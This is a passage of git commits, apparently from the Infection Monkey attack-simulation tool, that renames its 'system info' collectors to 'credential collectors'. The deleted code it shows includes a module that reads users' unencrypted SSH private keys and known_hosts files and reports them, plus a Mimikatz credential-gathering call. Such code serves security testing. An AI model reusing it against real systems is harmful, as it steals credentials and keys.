monkey/infection_monkey/telemetry/system_info_telem.py rename monkey/monkey_island/cc/services/config_schema/definitions/{system_info_collector_classes.py => credential_collector_classes.py} (71%) delete mode 100644 monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py delete mode 100644 monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py diff --git a/monkey/common/common_consts/system_info_collectors_names.py b/monkey/common/common_consts/credential_collector_names.py similarity index 100% rename from monkey/common/common_consts/system_info_collectors_names.py rename to monkey/common/common_consts/credential_collector_names.py diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index be56985e3..2da9d0529 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -101,7 +101,6 @@ class Configuration(object): finger_classes = [] exploiter_classes = [] - system_info_collector_classes = [] # depth of propagation depth = 2 diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 3a153bf44..b42bc3414 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -12,7 +12,6 @@ from ctypes import c_char_p from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.config import WormConfiguration -from infection_monkey.system_info import OperatingSystem, SystemInfoCollector from infection_monkey.telemetry.attack.t1106_telem import T1106Telem from infection_monkey.utils.commands import ( build_monkey_commandline_explicitly, diff --git a/monkey/infection_monkey/master/automated_master.py b/monkey/infection_monkey/master/automated_master.py index d78d5aafe..ceb66e3b9 100644 --- a/monkey/infection_monkey/master/automated_master.py +++ b/monkey/infection_monkey/master/automated_master.py @@ -139,7 +139,7 @@ class AutomatedMaster(IMaster): credential_collector_thread = create_daemon_thread( target=self._run_plugins, args=( - config["system_info_collector_classes"], + config["credential_collector_classes"], "credential collector", self._collect_credentials, ), diff --git a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py b/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py deleted file mode 100644 index 22d2740bb..000000000 --- a/monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py +++ /dev/null @@ -1,6 +0,0 @@ -from PyInstaller.utils.hooks import collect_data_files, collect_submodules - -# Import all actions as modules -hiddenimports = collect_submodules("infection_monkey.system_info.collectors") -# Add action files that we enumerate -datas = collect_data_files("infection_monkey.system_info.collectors", include_py_files=True) diff --git a/monkey/infection_monkey/system_info/SSH_info_collector.py b/monkey/infection_monkey/system_info/SSH_info_collector.py deleted file mode 100644 index 85b01978f..000000000 --- a/monkey/infection_monkey/system_info/SSH_info_collector.py +++ /dev/null @@ -1,112 +0,0 @@ -import glob -import logging -import os -import pwd - -from common.utils.attack_utils import ScanStatus -from infection_monkey.telemetry.attack.t1005_telem import T1005Telem - -logger = logging.getLogger(__name__) - - -class SSHCollector(object): - """ - SSH keys and known hosts collection module - """ - - default_dirs = ["/.ssh/", "/"] - - @staticmethod - def get_info(): - logger.info("Started scanning for ssh keys") - home_dirs = SSHCollector.get_home_dirs() - ssh_info = SSHCollector.get_ssh_files(home_dirs) - logger.info("Scanned for ssh keys") - return ssh_info - - @staticmethod - def get_ssh_struct(name, home_dir): - """ - :return: SSH info struct with these fields: - name: username of user, for whom the keys belong - home_dir: users home directory - public_key: contents of *.pub file(public key) - private_key: contents of * file(private key) - known_hosts: contents of known_hosts file(all the servers keys are good for, - possibly hashed) - """ - return { - "name": name, - "home_dir": home_dir, - "public_key": None, - "private_key": None, - "known_hosts": None, - } - - @staticmethod - def get_home_dirs(): - root_dir = SSHCollector.get_ssh_struct("root", "") - home_dirs = [ - SSHCollector.get_ssh_struct(x.pw_name, x.pw_dir) - for x in pwd.getpwall() - if x.pw_dir.startswith("/home") - ] - home_dirs.append(root_dir) - return home_dirs - - @staticmethod - def get_ssh_files(usr_info): - for info in usr_info: - path = info["home_dir"] - for directory in SSHCollector.default_dirs: - if os.path.isdir(path + directory): - try: - current_path = path + directory - # Searching for public key - if glob.glob(os.path.join(current_path, "*.pub")): - # Getting first file in current path with .pub extension(public key) - public = glob.glob(os.path.join(current_path, "*.pub"))[0] - logger.info("Found public key in %s" % public) - try: - with open(public) as f: - info["public_key"] = f.read() - # By default private key has the same name as public, - # only without .pub - private = os.path.splitext(public)[0] - if os.path.exists(private): - try: - with open(private) as f: - # no use from ssh key if it's encrypted - private_key = f.read() - if private_key.find("ENCRYPTED") == -1: - info["private_key"] = private_key - logger.info("Found private key in %s" % private) - T1005Telem( - ScanStatus.USED, "SSH key", "Path: %s" % private - ).send() - else: - continue - except (IOError, OSError): - pass - # By default known hosts file is called 'known_hosts' - known_hosts = os.path.join(current_path, "known_hosts") - if os.path.exists(known_hosts): - try: - with open(known_hosts) as f: - info["known_hosts"] = f.read() - logger.info("Found known_hosts in %s" % known_hosts) - except (IOError, OSError): - pass - # If private key found don't search more - if info["private_key"]: - break - except (IOError, OSError): - pass - except OSError: - pass - usr_info = [ - info - for info in usr_info - if info["private_key"] or info["known_hosts"] or info["public_key"] - ] - return usr_info diff --git a/monkey/infection_monkey/system_info/__init__.py b/monkey/infection_monkey/system_info/__init__.py deleted file mode 100644 index 4761f24fa..000000000 --- a/monkey/infection_monkey/system_info/__init__.py +++ /dev/null @@ -1,76 +0,0 @@ -import logging -import sys -from enum import IntEnum - -import psutil - -from infection_monkey.network.info import get_host_subnets -from infection_monkey.system_info.system_info_collectors_handler import SystemInfoCollectorsHandler - -logger = logging.getLogger(__name__) - -# Linux doesn't have WindowsError -try: - WindowsError -except NameError: - # noinspection PyShadowingBuiltins - WindowsError = psutil.AccessDenied - - -class OperatingSystem(IntEnum): - Windows = 0 - Linux = 1 - - -class SystemInfoCollector(object): - """ - A class that checks the current operating system and calls system information collecting - modules accordingly - """ - - def __init__(self): - self.os = SystemInfoCollector.get_os() - if OperatingSystem.Windows == self.os: - from .windows_info_collector import WindowsInfoCollector - - self.collector = WindowsInfoCollector() - else: - from .linux_info_collector import LinuxInfoCollector - - self.collector = LinuxInfoCollector() - - def get_info(self): - return self.collector.get_info() - - @staticmethod - def get_os(): - if sys.platform.startswith("win"): - return OperatingSystem.Windows - else: - return OperatingSystem.Linux - - -class InfoCollector(object): - """ - Generic Info Collection module - """ - - def __init__(self): - self.info = {"credentials": {}} - - def get_info(self): - # Collect all hardcoded - self.get_network_info() - - # Collect all plugins - SystemInfoCollectorsHandler().execute_all_configured() - - def get_network_info(self): - """ - Adds network information from the host to the system information. - Currently updates with list of networks accessible from host - containing host ip and the subnet range - :return: None. Updates class information - """ - logger.debug("Reading subnets") - self.info["network_info"] = {"networks": get_host_subnets()} diff --git a/monkey/infection_monkey/system_info/collectors/__init__.py b/monkey/infection_monkey/system_info/collectors/__init__.py deleted file mode 100644 index f5b7166e9..000000000 --- a/monkey/infection_monkey/system_info/collectors/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -""" -This package holds all the dynamic (plugin) collectors -""" diff --git a/monkey/infection_monkey/system_info/linux_info_collector.py b/monkey/infection_monkey/system_info/linux_info_collector.py deleted file mode 100644 index ae35a4a47..000000000 --- a/monkey/infection_monkey/system_info/linux_info_collector.py +++ /dev/null @@ -1,26 +0,0 @@ -import logging - -from infection_monkey.system_info import InfoCollector -from infection_monkey.system_info.SSH_info_collector import SSHCollector - -logger = logging.getLogger(__name__) - - -class LinuxInfoCollector(InfoCollector): - """ - System information collecting module for Linux operating systems - """ - - def __init__(self): - super(LinuxInfoCollector, self).__init__() - - def get_info(self): - """ - Collect Linux system information - Hostname, process list and network subnets - :return: Dict of system information - """ - logger.debug("Running Linux collector") - super(LinuxInfoCollector, self).get_info() - self.info["ssh_info"] = SSHCollector.get_info() - return self.info diff --git a/monkey/infection_monkey/system_info/system_info_collector.py b/monkey/infection_monkey/system_info/system_info_collector.py deleted file mode 100644 index fe160de16..000000000 --- a/monkey/infection_monkey/system_info/system_info_collector.py +++ /dev/null @@ -1,42 +0,0 @@ -from abc import ABCMeta, abstractmethod - -import infection_monkey.system_info.collectors -from infection_monkey.config import WormConfiguration -from infection_monkey.utils.plugins.plugin import Plugin - - -class SystemInfoCollector(Plugin, metaclass=ABCMeta): - """ - ABC for system info collection. See system_info_collector_handler for more info. Basically, - to implement a new system info - collector, inherit from this class in an implementation in the - infection_monkey.system_info.collectors class, and override - the 'collect' method. Don't forget to parse your results in the Monkey Island and to add the - collector to the configuration - as well - see monkey_island.cc.services.processing.system_info_collectors for examples. - - See the Wiki page "How to add a new System Info Collector to the Monkey?" for a detailed guide. - """ - - def __init__(self, name="unknown"): - self.name = name - - @staticmethod - def should_run(class_name) -> bool: - return class_name in WormConfiguration.system_info_collector_classes - - @staticmethod - def base_package_file(): - return infection_monkey.system_info.collectors.__file__ - - @staticmethod - def base_package_name(): - return infection_monkey.system_info.collectors.__package__ - - @abstractmethod - def collect(self) -> dict: - """ - Collect the relevant information and return it in a dictionary. - To be implemented by each collector. - """ - raise NotImplementedError() diff --git a/monkey/infection_monkey/system_info/system_info_collectors_handler.py b/monkey/infection_monkey/system_info/system_info_collectors_handler.py deleted file mode 100644 index 8eddbcb29..000000000 --- a/monkey/infection_monkey/system_info/system_info_collectors_handler.py +++ /dev/null @@ -1,35 +0,0 @@ -import logging -from typing import Sequence - -from infection_monkey.system_info.system_info_collector import SystemInfoCollector -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - -logger = logging.getLogger(__name__) - - -class SystemInfoCollectorsHandler(object): - def __init__(self): - self.collectors_list = self.config_to_collectors_list() - - def execute_all_configured(self): - successful_collections = 0 - system_info_telemetry = {} - for collector in self.collectors_list: - try: - logger.debug("Executing system info collector: '{}'".format(collector.name)) - collected_info = collector.collect() - system_info_telemetry[collector.name] = collected_info - successful_collections += 1 - except Exception as e: - # If we failed one collector, no need to stop execution. Log and continue. - logger.error("Collector {} failed. Error info: {}".format(collector.name, e)) - logger.info( - "All system info collectors executed. Total {} executed, out of which {} " - "collected successfully.".format(len(self.collectors_list), successful_collections) - ) - - SystemInfoTelem({"collectors": system_info_telemetry}).send() - - @staticmethod - def config_to_collectors_list() -> Sequence[SystemInfoCollector]: - return SystemInfoCollector.get_instances() diff --git a/monkey/infection_monkey/system_info/windows_info_collector.py b/monkey/infection_monkey/system_info/windows_info_collector.py deleted file mode 100644 index 6285fee0f..000000000 --- a/monkey/infection_monkey/system_info/windows_info_collector.py +++ /dev/null @@ -1,53 +0,0 @@ -import logging -import sys - -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR -from infection_monkey.credential_collectors.windows_cred_collector.mimikatz_cred_collector import ( - MimikatzCredentialCollector, -) - -sys.coinit_flags = 0 # needed for proper destruction of the wmi python module -import infection_monkey.config # noqa: E402 -from infection_monkey.system_info import InfoCollector # noqa: E402 - -logger = logging.getLogger(__name__) -logger.info("started windows info collector") - - -class WindowsInfoCollector(InfoCollector): - """ - System information collecting module for Windows operating systems - """ - - def __init__(self): - super(WindowsInfoCollector, self).__init__() - self._config = infection_monkey.config.WormConfiguration - - def get_info(self): - """ - Collect Windows system information - Hostname, process list and network subnets - Tries to read credential secrets using mimikatz - :return: Dict of system information - """ - logger.debug("Running Windows collector") - super(WindowsInfoCollector, self).get_info() - # TODO: Think about returning self.get_wmi_info() - from infection_monkey.config import WormConfiguration - - if MIMIKATZ_COLLECTOR in WormConfiguration.system_info_collector_classes: - self.get_mimikatz_info() - - return self.info - - def get_mimikatz_info(self): - logger.info("Gathering mimikatz info") - try: - credentials = MimikatzCredentialCollector.get_creds() - if credentials: - self.info["credentials"].update(credentials) - logger.info("Mimikatz info gathered successfully") - else: - logger.info("No mimikatz info was gathered") - except Exception as e: - logger.info(f"Mimikatz credential collector failed: {e}") diff --git a/monkey/infection_monkey/telemetry/system_info_telem.py b/monkey/infection_monkey/telemetry/system_info_telem.py deleted file mode 100644 index 554568dd4..000000000 --- a/monkey/infection_monkey/telemetry/system_info_telem.py +++ /dev/null @@ -1,20 +0,0 @@ -from common.common_consts.telem_categories import TelemCategoryEnum -from infection_monkey.telemetry.base_telem import BaseTelem - - -class SystemInfoTelem(BaseTelem): - def __init__(self, system_info): - """ - Default system info telemetry constructor - :param system_info: System info returned from SystemInfoCollector.get_info() - """ - super(SystemInfoTelem, self).__init__() - self.system_info = system_info - - telem_category = TelemCategoryEnum.SYSTEM_INFO - - def get_data(self): - return self.system_info - - def send(self, log_data=False): - super(SystemInfoTelem, self).send(log_data) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 1098d2b50..32a8e6401 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -93,8 +93,8 @@ class TelemetryFeed(flask_restful.Resource): return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"] @staticmethod - def get_systeminfo_telem_brief(telem): - return "Monkey collected system information." + def get_credentials_telem_brief(_): + return "Monkey collected stole some credentials." @staticmethod def get_trace_telem_brief(telem): @@ -118,7 +118,7 @@ TELEM_PROCESS_DICT = { TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, - TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief, + TelemCategoryEnum.CREDENTIALS: TelemetryFeed.get_credentials_telem_brief, TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, } diff --git a/monkey/monkey_island/cc/services/config_schema/config_schema.py b/monkey/monkey_island/cc/services/config_schema/config_schema.py index fb1e35b45..2adefb455 100644 --- a/monkey/monkey_island/cc/services/config_schema/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema/config_schema.py @@ -1,13 +1,13 @@ from monkey_island.cc.services.config_schema.basic import BASIC from monkey_island.cc.services.config_schema.basic_network import BASIC_NETWORK +from monkey_island.cc.services.config_schema.definitions.credential_collector_classes import ( + CREDENTIAL_COLLECTOR_CLASSES, +) from monkey_island.cc.services.config_schema.definitions.exploiter_classes import EXPLOITER_CLASSES from monkey_island.cc.services.config_schema.definitions.finger_classes import FINGER_CLASSES from monkey_island.cc.services.config_schema.definitions.post_breach_actions import ( POST_BREACH_ACTIONS, ) -from monkey_island.cc.services.config_schema.definitions.system_info_collector_classes import ( - SYSTEM_INFO_COLLECTOR_CLASSES, -) from monkey_island.cc.services.config_schema.internal import INTERNAL from monkey_island.cc.services.config_schema.monkey import MONKEY from monkey_island.cc.services.config_schema.ransomware import RANSOMWARE @@ -20,7 +20,7 @@ SCHEMA = { # users will not accidentally chose unsafe options "definitions": { "exploiter_classes": EXPLOITER_CLASSES, - "system_info_collector_classes": SYSTEM_INFO_COLLECTOR_CLASSES, + "credential_collector_classes": CREDENTIAL_COLLECTOR_CLASSES, "post_breach_actions": POST_BREACH_ACTIONS, "finger_classes": FINGER_CLASSES, }, diff --git a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py b/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py similarity index 71% rename from monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py rename to monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py index 96fecd1fa..9c41a1f26 100644 --- a/monkey/monkey_island/cc/services/config_schema/definitions/system_info_collector_classes.py +++ b/monkey/monkey_island/cc/services/config_schema/definitions/credential_collector_classes.py @@ -1,8 +1,8 @@ -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR +from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR -SYSTEM_INFO_COLLECTOR_CLASSES = { - "title": "System Information Collectors", - "description": "Click on a system info collector to find out what it collects.", +CREDENTIAL_COLLECTOR_CLASSES = { + "title": "Credential Collectors", + "description": "Click on a credential collector to find out what it collects.", "type": "string", "anyOf": [ { diff --git a/monkey/monkey_island/cc/services/config_schema/monkey.py b/monkey/monkey_island/cc/services/config_schema/monkey.py index 693340b74..a9f9790f8 100644 --- a/monkey/monkey_island/cc/services/config_schema/monkey.py +++ b/monkey/monkey_island/cc/services/config_schema/monkey.py @@ -1,4 +1,4 @@ -from common.common_consts.system_info_collectors_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR +from common.common_consts.credential_collector_names import MIMIKATZ_COLLECTOR, SSH_COLLECTOR MONKEY = { "title": "Monkey", @@ -73,15 +73,15 @@ MONKEY = { }, }, }, - "system_info": { - "title": "System info", + "credential_collectors": { + "title": "Credential collection", "type": "object", "properties": { - "system_info_collector_classes": { - "title": "System info collectors", + "credential_collector_classes": { + "title": "Credential collectors", "type": "array", "uniqueItems": True, - "items": {"$ref": "#/definitions/system_info_collector_classes"}, + "items": {"$ref": "#/definitions/credential_collector_classes"}, "default": [ MIMIKATZ_COLLECTOR, SSH_COLLECTOR, diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py deleted file mode 100644 index 7faae8eb2..000000000 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py +++ /dev/null @@ -1,59 +0,0 @@ -import logging -import typing - - -logger = logging.getLogger(__name__) - - -SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS = {} - - -class SystemInfoTelemetryDispatcher(object): - def __init__( - self, - collector_to_parsing_functions: typing.Mapping[str, typing.List[typing.Callable]] = None, - ): - """ - :param collector_to_parsing_functions: Map between collector names and a list of functions - that process the output of that collector. - If `None` is supplied, uses the default one; This should be the normal flow, overriding the - collector->functions mapping is useful mostly for testing. - """ - if collector_to_parsing_functions is None: - collector_to_parsing_functions = SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS - self.collector_to_processing_functions = collector_to_parsing_functions - - def dispatch_collector_results_to_relevant_processors(self, telemetry_json): - """ - If the telemetry has collectors' results, dispatches the results to the relevant - processing functions. - :param telemetry_json: Telemetry sent from the Monkey - """ - if "collectors" in telemetry_json["data"]: - self.dispatch_single_result_to_relevant_processor(telemetry_json) - - def dispatch_single_result_to_relevant_processor(self, telemetry_json): - relevant_monkey_guid = telemetry_json["monkey_guid"] - - for collector_name, collector_results in telemetry_json["data"]["collectors"].items(): - self.dispatch_result_of_single_collector_to_processing_functions( - collector_name, collector_results, relevant_monkey_guid - ) - - def dispatch_result_of_single_collector_to_processing_functions( - self, collector_name, collector_results, relevant_monkey_guid - ): - if collector_name in self.collector_to_processing_functions: - for processing_function in self.collector_to_processing_functions[collector_name]: - # noinspection PyBroadException - try: - processing_function(collector_results, relevant_monkey_guid) - except Exception as e: - logger.error( - "Error {} while processing {} system info telemetry".format( - str(e), collector_name - ), - exc_info=True, - ) - else: - logger.warning("Unknown system info collector name: {}".format(collector_name)) diff --git a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js index 39bb47827..c76d17fc2 100644 --- a/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js +++ b/monkey/monkey_island/cc/ui/src/components/configuration-components/UiSchema.js @@ -94,8 +94,8 @@ export default function UiSchema(props) { 'ui:emptyValue': '' } }, - system_info: { - system_info_collector_classes: { + credential_collectors: { + credential_collector_classes: { classNames: 'config-template-no-header', 'ui:widget': AdvancedMultiSelect } diff --git a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js index 3de39fffe..515ddfd9d 100644 --- a/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js +++ b/monkey/monkey_island/cc/ui/src/components/utils/SafeOptionValidator.js @@ -16,9 +16,9 @@ function getPluginDescriptors(schema, config) { selectedPlugins: config.monkey.post_breach.post_breach_actions }, { - name: 'SystemInfoCollectors', - allPlugins: schema.definitions.system_info_collector_classes.anyOf, - selectedPlugins: config.monkey.system_info.system_info_collector_classes + name: 'CredentialCollectors', + allPlugins: schema.definitions.credential_collector_classes.anyOf, + selectedPlugins: config.monkey.credential_collectors.credential_collector_classes } ]); } diff --git a/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py b/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py deleted file mode 100644 index 146919899..000000000 --- a/monkey/tests/unit_tests/infection_monkey/telemetry/test_system_info_telem.py +++ /dev/null @@ -1,20 +0,0 @@ -import json - -import pytest - -from infection_monkey.telemetry.system_info_telem import SystemInfoTelem - -SYSTEM_INFO = {} - - -@pytest.fixture -def system_info_telem_test_instance(): - return SystemInfoTelem(SYSTEM_INFO) - - -def test_system_info_telem_send(system_info_telem_test_instance, spy_send_telemetry): - system_info_telem_test_instance.send() - expected_data = SYSTEM_INFO - expected_data = json.dumps(expected_data, cls=system_info_telem_test_instance.json_encoder) - assert spy_send_telemetry.data == expected_data - assert spy_send_telemetry.telem_category == "system_info" diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 8e5a99516..54b9caa12 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -94,7 +94,6 @@ Timestomping # unused class (monkey/infection_monkey/post_breach/actions/timest SignedScriptProxyExecution # unused class (monkey/infection_monkey/post_breach/actions/use_signed_scripts.py:15) EnvironmentCollector # unused class (monkey/infection_monkey/system_info/collectors/environment_collector.py:19) HostnameCollector # unused class (monkey/infection_monkey/system_info/collectors/hostname_collector.py:10) -_.coinit_flags # unused attribute (monkey/infection_monkey/system_info/windows_info_collector.py:11) _.representations # unused attribute (monkey/monkey_island/cc/app.py:180) _.log_message # unused method (monkey/infection_monkey/transport/http.py:188) _.log_message # unused method (monkey/infection_monkey/transport/http.py:109) @@ -106,7 +105,6 @@ binaries # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-pyps hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.exploit.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.network.py:3) hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.post_breach.actions.py:4) -hiddenimports # unused variable (monkey/infection_monkey/pyinstaller_hooks/hook-infection_monkey.system_info.collectors.py:4) _.wShowWindow # unused attribute (monkey/infection_monkey/monkey.py:345) _.dwFlags # unused attribute (monkey/infection_monkey/monkey.py:344) _.do_get # unused method (monkey/infection_monkey/exploit/zerologon_utils/remote_shell.py:79) @@ -159,10 +157,6 @@ salt # unused variable (monkey/infection_monkey/network/mysqlfinger.py:78) thread_id # unused variable (monkey/infection_monkey/network/mysqlfinger.py:61) -# leaving this since there's a TODO related to it -_.get_wmi_info # unused method (monkey/infection_monkey/system_info/windows_info_collector.py:63) - - # potentially unused (there may also be unit tests referencing these) LOG_DIR_NAME # unused variable (envs/monkey_zoo/blackbox/log_handlers/test_logs_handler.py:8) delete_logs # unused function (envs/monkey_zoo/blackbox/test_blackbox.py:85) From 61ba85bdc249700f378b36ecaab012c6704a2b19 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Mar 2022 14:55:23 +0200 Subject: [PATCH 0601/1110] Island: alphabetically sort telemetry processing dictionary --- monkey/monkey_island/cc/resources/telemetry_feed.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 32a8e6401..f923a2f57 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -114,11 +114,11 @@ class TelemetryFeed(flask_restful.Resource): TELEM_PROCESS_DICT = { - TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, - TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, - TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, - TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, TelemCategoryEnum.CREDENTIALS: TelemetryFeed.get_credentials_telem_brief, - TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief, TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief, + TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief, + TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief, + TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief, + TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief, } From 1c602a3315f25a4aae7b95510f167132fa31bdca Mon Sep 17 00:00:00 2001 From: vakarisz Date: Mon, 28 Feb 2022 16:13:56 +0200 Subject: [PATCH 0602/1110] Agent, Island: send network information in monkey wakeup telemetry Network information is required for segmentation reports, that's why it gets sent in the wakeup telemetry. It could be joined with "ip_addresses", but that would require a bigger refactoring on the island side --- monkey/infection_monkey/control.py | 3 ++- monkey/monkey_island/cc/models/monkey.py | 1 + monkey/monkey_island/cc/services/reporting/report.py | 11 +++-------- 3 files changed, 6 insertions(+), 9 deletions(-) diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index c4b4b9555..5abb99fdb 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -13,7 +13,7 @@ import infection_monkey.tunnel as tunnel from common.common_consts.api_url_consts import T1216_PBA_FILE_DOWNLOAD_PATH from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT, MEDIUM_REQUEST_TIMEOUT from infection_monkey.config import GUID, WormConfiguration -from infection_monkey.network.info import local_ips +from infection_monkey.network.info import get_host_subnets, local_ips from infection_monkey.transport.http import HTTPConnectProxy from infection_monkey.transport.tcp import TcpProxy from infection_monkey.utils import agent_process @@ -48,6 +48,7 @@ class ControlClient(object): "guid": GUID, "hostname": hostname, "ip_addresses": local_ips(), + "networks": get_host_subnets(), "description": " ".join(platform.uname()), "config": WormConfiguration.as_dict(), "parent": parent, diff --git a/monkey/monkey_island/cc/models/monkey.py b/monkey/monkey_island/cc/models/monkey.py index c7fe734b6..3d941d512 100644 --- a/monkey/monkey_island/cc/models/monkey.py +++ b/monkey/monkey_island/cc/models/monkey.py @@ -42,6 +42,7 @@ class Monkey(Document): description = StringField() hostname = StringField() ip_addresses = ListField(StringField()) + networks = ListField() launch_time = FloatField() keepalive = DateTimeField() modifytime = DateTimeField() diff --git a/monkey/monkey_island/cc/services/reporting/report.py b/monkey/monkey_island/cc/services/reporting/report.py index 3ac0c0364..c2a7e7066 100644 --- a/monkey/monkey_island/cc/services/reporting/report.py +++ b/monkey/monkey_island/cc/services/reporting/report.py @@ -160,16 +160,11 @@ class ReportService: @staticmethod def get_monkey_subnets(monkey_guid): - network_info = mongo.db.telemetry.find_one( - {"telem_category": "system_info", "monkey_guid": monkey_guid}, - {"data.network_info.networks": 1}, - ) - if network_info is None or not network_info["data"]: - return [] + networks = Monkey.objects.get(guid=monkey_guid).networks return [ - ipaddress.ip_interface(str(network["addr"] + "/" + network["netmask"])).network - for network in network_info["data"]["network_info"]["networks"] + ipaddress.ip_interface(f"{network['addr']}/{network['netmask']}").network + for network in networks ] @staticmethod From 3734cb007e30457944610b5ff9b11621364bf961 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Tue, 1 Mar 2022 14:34:43 +0200 Subject: [PATCH 0603/1110] Island: change T1016 to format results from Monkey document Previously T1016 pulled results from system info telemetries, but system info telemetries are deprecated and network information is stored on monkey documents --- .../attack/technique_reports/T1016.py | 42 +++++++------------ 1 file changed, 15 insertions(+), 27 deletions(-) diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py index 988515026..038e51d9b 100644 --- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py +++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py @@ -1,5 +1,5 @@ from common.utils.attack_utils import ScanStatus -from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey from monkey_island.cc.services.attack.technique_reports import AttackTechnique @@ -10,35 +10,12 @@ class T1016(AttackTechnique): scanned_msg = "" used_msg = "Monkey gathered network configurations on systems in the network." - query = [ - {"$match": {"telem_category": "system_info", "data.network_info": {"$exists": True}}}, - { - "$project": { - "machine": {"hostname": "$data.hostname", "ips": "$data.network_info.networks"}, - "networks": "$data.network_info.networks", - } - }, - { - "$addFields": { - "_id": 0, - "networks": 0, - "info": [ - { - "used": { - "$and": [{"$ifNull": ["$networks", False]}, {"$gt": ["$networks", {}]}] - }, - "name": {"$literal": "Network interface info"}, - }, - ], - } - }, - ] - @staticmethod def get_report_data(): def get_technique_status_and_data(): - network_info = list(mongo.db.telemetry.aggregate(T1016.query)) - status = ScanStatus.USED.value if network_info else ScanStatus.UNSCANNED.value + network_info = T1016._get_network_info() + used_info = [entry for entry in network_info if entry["info"][0]["used"]] + status = ScanStatus.USED.value if used_info else ScanStatus.UNSCANNED.value return (status, network_info) status, network_info = get_technique_status_and_data() @@ -46,3 +23,14 @@ class T1016(AttackTechnique): data = T1016.get_base_data_by_status(status) data.update({"network_info": network_info}) return data + + @staticmethod + def _get_network_info(): + network_info = [] + for monkey in Monkey.objects(): + entry = {"machine": {"hostname": monkey.hostname, "ips": monkey.ip_addresses}} + info = [{"used": bool(monkey.networks), "name": "Network interface info"}] + entry["info"] = info + 